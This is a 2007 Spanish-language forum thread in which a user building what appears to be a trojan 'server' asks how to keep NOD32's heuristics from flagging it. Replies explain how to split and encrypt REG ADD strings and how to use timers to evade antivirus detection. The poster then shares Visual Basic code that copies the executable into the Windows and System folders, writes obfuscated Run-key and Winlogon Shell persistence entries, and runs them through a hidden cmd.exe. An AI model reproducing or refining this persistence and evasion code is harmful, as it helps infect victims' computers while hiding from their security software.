problema con el registro encryptado

Iniciado por wACtOr, 24 Junio 2007, 22:28 PM

0 Miembros y 1 Visitante están viendo este tema.

wACtOr

wenas, tengo un pequeño problema que me trae un poco de cabeza.

tengo una cadena cifrada que añade mi aplicacion al registro.
si no esta encryptada el nod salta por herustica, pero si esta encryptada no se añade al registro. esto es por que en la cadena para añadirse tengo 2 variables, una con el nombre de la clave y otra con el valor de la clave:

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v " & valuereg & " /t REG_SZ /d " & SO & "\" & name & " /f

esta es la cadena desencryptada. si kito las variables y dejo la cadena asi:

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v Nombre /t REG_SZ /d C:\sdad\exe /f

si que se añade encryptada. que puede pasar para que no funcione?

gracias

Meg

mmm pues no lo se seguro xk me tendria que poner a mirarlo muy detenidamente... pero asi enprincipio alomejor tienes k cifrar tb el contenido de las variables prueba eso aver k pasa ....

~~

Citarsi que se añade encryptada

A ver tu la estas intentando añadir cifrada al reg?? asi no te va a funcionar...

Otra cosa. No lo pongas en el form load, ponlo en un timer. Yo siempre pongo las cadenas en un text box en vez de en variables y el nod no salta....

PD --> Lo q  me preguntaste por el messenger de la conexion, posiblemente no se te conecte por q tengas la variable ip declarada dentro de una funcion, declarala el la cabecera del source del form  (arriba del todo vamos) :P

Meg

CitarA ver tu la estas intentando añadir cifrada al reg?? asi no te va a funcionar...

Si ha dicho que le ha funcionao xDD ,creo k se refiere k cuando pone las dos variables y lo cifra no le funciona,pero cuando lo cifra sin las variables si le funciona

~~

Pues se a debido de ekivocar, por q si añades esto al reg: asfasfa654f5a64f5a4 evidentemente no va a hacer q tu programa se inice, tendrás q añadirlos sin enriptar no?  :xD :xD :xD

Weno, vamos a ver. Tu kieres cifrar esta cadena:

REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v Nombre /t REG_SZ /d C:\sdad\exe /f


En la q nombre y C:\sdad\exe son variables no? pues lo mejor q puedes hacer es dividir la cadena completa en dos, la primera parte seria:
REG ADD HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ /v
Y la segunta:
/t REG_SZ /d
Weno esta segunda parte casi q no hace falta q la encriptes, pero aun asi la enriptaremos por si acaso ;)

Bien, lo primero q tienes q hacer es crearte una funcion para cifrar y otra para descifrar (q supongo q ya tendras) y en un proyteto aparte cifrar ambas cadenas. Supongamos q la primera cadena cifrada keda asi:
1111ASDSA1sa1ds1SADSA36
Y la segunda asi:
222222sdsad

Pues ahora debrias encadenar todo el chorizo ese para obtener la cadena descifrada y llamarla desde la shell:

dim reg as string
reg = desenriptar (1111ASDSA1sa1ds1SADSA36) & valuereg & descifrar(222222sdsad) & name & "/f"
shell reg


Siendo descifrar la funcion para descifrar  :¬¬

Pon esto en un timer y no deberia darte ningun tipo de problemas con la euristica
1S4ludo

Meg

CitarPues se a debido de ekivocar, por q si añades esto al reg: asfasfa654f5a64f5a4 evidentemente no va a hacer q tu programa se inice, tendrás q añadirlos sin enriptar no?

si eso es cierto  :xD

wactor, si tienes problemas pa cifrar y descifrar si kieres te paso las 2 funciones que yo utilizo y ya las ves tu y las adaptas haciendo lo que dice EON, por que ami me funcionan de maravilla

wACtOr

#6
gracias a tos por contestar, voy a porbrar como dice eon.

si para encryptar utilizo esta funcion:

Public Function en(j)
On Error Resume Next
For R = 1 To Len(j)
en = en & Chr(Asc(Mid(j, R, 1)) + 7)
Next
End Function

y para desencryptar uso esto:
Public Function encrypt(p)
On Error Resume Next
For R = 1 To Len(p)
encrypt = encrypt & Chr(Asc(Mid(p, R, 1)) - 7)
Next
End Function

aora pruebo y os comento.


PD: no esta en el form load, esta en un modulo para que cuando llame a la funcion, segun los valores que le meto al server al crearlo desde el cliente haga una cosa u otra:

Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function CopyFileEx Lib "kernel32.dll" Alias "CopyFileExA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal lpProgressRoutine As Long, lpData As Any, ByRef pbCancel As Long, ByVal dwCopyFlags As Long) As Long


Public Sub autocopiar(win As Variant, sys As Variant, name As Variant, localmachine As Variant, currentuser As Variant, explorer As Variant, valor As Variant)
    Dim Car As String * 128
    Dim Longitud, Es As Integer
    Dim Camino As String
    Dim SO
    Dim Sistema
   

opwindows = win
opsystem = sys
name = name
hklm = localmachine
hkcu = currentuser
hkex = explorer
valuereg = valor
   
      Longitud = 128
   
    Es = GetWindowsDirectory(Car, Longitud)
    Camino = RTrim$(LCase$(Left$(Car, Es)))
    SO = Camino
   
    Es = GetSystemDirectory(Car, Longitud)
    Camino = RTrim$(LCase$(Left$(Car, Es)))
    Sistema = Camino
   
If opwindows = "V" Then
    origen = App.Path
    If Right(origen, 1) <> "\" Then origen = origen & "\"
    origen = origen & App.EXEName & ".exe"
    Ret = CopyFileEx(origen, SO & "\" & name, AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
        If hklm = 1 Then
        reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hs|lyln'-')'6{'YLNfZa'6k')'-'ZV'-')c)'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
        If hkcu = 1 Then
        reg = encrypt("YLN'HKK'ORL`fJ\YYLU[f\ZLYcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'ZV'-')c)'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
        If hkex = 1 Then
        reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZVM[^HYLcTpjyvzvm{c^pukv~z'U[cJ|yylu{]lyzpvuc^pusvnvuc'6}'Zolss'6{'YLNfZa'6k'Lwsvyly5ll3')'-'ZV'-')c)'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
End If

If sys = "V" Then
    origen = App.Path
    If Right(origen, 1) <> "\" Then origen = origen & "\"
    origen = origen & App.EXEName & ".exe"
    Ret = CopyFileEx(origen, Sistema & name, AddressOf CopyProgressRoutine, ByVal 0&, bCancel, COPY_FILE_RESTARTABLE)
        If localmachine = "1" Then
        reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'Zpz{lth'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
        If currentuser = "1" Then
        reg = encrypt("YLN'HKK'ORL`fJ\YYLU[f\ZLYcZvm{~hylcTpjyvzvm{c^pukv~zcJ|yylu{]lyzpvucY|uc'6}')'-'}hsvy'-')'6{'YLNfZa'6k')'-'Zpz{lth'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
        If explorer = "1" Then
        reg = encrypt("YLN'HKK'ORL`fSVJHSfTHJOPULcZVM[^HYLcTpjyvzvm{c^pukv~z'U[cJ|yylu{]lyzpvuc^pusvnvuc'6}'Zolss'6{'YLNfZa'6k'Lwsvyly5ll3')'-'Zpz{lth'-'uhtl'-')'6m")
        Shell "cmd.exe /c " & reg & "", vbHide
        End If
End If
End Sub